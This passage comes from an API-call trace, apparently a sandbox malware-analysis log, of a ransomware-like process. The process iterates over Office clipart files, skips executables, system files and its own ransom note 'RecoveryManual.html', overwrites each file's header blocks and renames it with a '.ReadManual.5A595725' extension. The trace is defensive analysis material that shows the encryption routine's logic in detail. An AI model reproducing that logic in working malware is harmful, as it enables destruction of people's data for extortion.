Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" [0262.823] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.ReadManual.5A595725" [0262.823] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.ReadManual.5A595725") returned 87 [0262.823] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38349177089) returned 1 [0262.823] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x20 [0262.823] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.823] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8552) returned 1 [0262.824] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2168, lpName=0x0) returned 0x184 [0262.824] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.824] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.824] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.826] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.826] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2168) returned 0x2f0000 [0262.827] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.827] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38349538879) returned 1 [0262.827] CloseHandle (hObject=0x184) returned 1 [0262.827] SetSecurityInfo () returned 0x57 [0262.827] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.827] CloseHandle (hObject=0x194) returned 1 [0262.827] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdfcc00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcdfcc00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1 [0262.827] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00382_.WMF" | out: lpString1="FD00382_.WMF") returned="FD00382_.WMF" [0262.827] lstrcmpiW (lpString1="FD00382_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.827] StrStrIW (lpFirst="FD00382_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.827] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.827] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.827] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.827] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.827] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.827] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.827] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.827] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.827] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.827] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.827] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.827] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.827] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.827] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.827] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" [0262.827] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.ReadManual.5A595725" [0262.828] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.ReadManual.5A595725") returned 87 [0262.828] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38349632410) returned 1 [0262.828] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x20 [0262.828] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.828] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8424) returned 1 [0262.828] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20e8, lpName=0x0) returned 0x184 [0262.828] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.829] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.829] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.831] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.831] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20e8) returned 0x2f0000 [0262.831] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.831] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38349984838) returned 1 [0262.831] CloseHandle (hObject=0x184) returned 1 [0262.831] SetSecurityInfo () returned 0x57 [0262.831] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.831] CloseHandle (hObject=0x194) returned 1 [0262.831] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae630b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae630b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1 [0262.831] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00397_.WMF" | out: lpString1="FD00397_.WMF") returned="FD00397_.WMF" [0262.831] lstrcmpiW (lpString1="FD00397_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.831] StrStrIW (lpFirst="FD00397_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.832] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.832] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.832] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.832] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.832] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.832] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.832] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.832] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.832] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.832] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.832] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.832] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.832] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.832] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.832] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" [0262.832] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.ReadManual.5A595725" [0262.832] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.ReadManual.5A595725") returned 87 [0262.832] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38350080177) returned 1 [0262.832] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x20 [0262.832] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.833] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10816) returned 1 [0262.833] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a40, lpName=0x0) returned 0x184 [0262.833] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.833] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.834] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.835] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.836] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a40) returned 0x2f0000 [0262.836] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.836] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38350471934) returned 1 [0262.836] CloseHandle (hObject=0x184) returned 1 [0262.836] SetSecurityInfo () returned 0x57 [0262.836] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.836] CloseHandle (hObject=0x194) returned 1 [0262.836] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad31de00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad31de00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1 [0262.840] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00403_.WMF" | out: lpString1="FD00403_.WMF") returned="FD00403_.WMF" [0262.840] lstrcmpiW (lpString1="FD00403_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.841] StrStrIW (lpFirst="FD00403_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.841] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.841] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.841] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.841] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.841] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.841] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.841] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.841] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.841] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.841] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.841] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.841] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.841] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.841] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.841] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" [0262.841] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.ReadManual.5A595725" [0262.841] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.ReadManual.5A595725") returned 87 [0262.841] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38350986842) returned 1 [0262.841] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x20 [0262.841] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.842] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7878) returned 1 [0262.842] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ec6, lpName=0x0) returned 0x184 [0262.842] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.842] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.842] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.844] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.844] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ec6) returned 0x2f0000 [0262.844] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.845] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38351333018) returned 1 [0262.845] CloseHandle (hObject=0x184) returned 1 [0262.845] SetSecurityInfo () returned 0x57 [0262.845] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.845] CloseHandle (hObject=0x194) returned 1 [0262.845] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac00b100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac00b100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1 [0262.845] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00414_.WMF" | out: lpString1="FD00414_.WMF") returned="FD00414_.WMF" [0262.845] lstrcmpiW (lpString1="FD00414_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.845] StrStrIW (lpFirst="FD00414_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.845] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.845] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.845] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.845] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.845] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.845] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.845] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.845] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.845] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.845] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.845] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.845] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.845] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.845] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.845] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" [0262.845] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.ReadManual.5A595725" [0262.845] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.ReadManual.5A595725") returned 87 [0262.846] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38351429506) returned 1 [0262.846] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x20 [0262.846] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.847] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11002) returned 1 [0262.847] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2afa, lpName=0x0) returned 0x184 [0262.847] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.847] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.847] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.849] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.849] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2afa) returned 0x2f0000 [0262.850] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.850] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38351844848) returned 1 [0262.850] CloseHandle (hObject=0x184) returned 1 [0262.850] SetSecurityInfo () returned 0x57 [0262.850] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.850] CloseHandle (hObject=0x194) returned 1 [0262.850] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaacf8400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaacf8400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1 [0262.850] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00419_.WMF" | out: lpString1="FD00419_.WMF") returned="FD00419_.WMF" [0262.850] lstrcmpiW (lpString1="FD00419_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.850] StrStrIW (lpFirst="FD00419_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.850] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.850] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.851] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.851] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.851] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.851] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.851] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.851] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.851] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.851] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.851] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.851] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.851] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.851] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.851] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" [0262.851] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.ReadManual.5A595725" [0262.851] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.ReadManual.5A595725") returned 87 [0262.851] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38351975728) returned 1 [0262.851] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x20 [0262.851] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.851] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16396) returned 1 [0262.851] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, 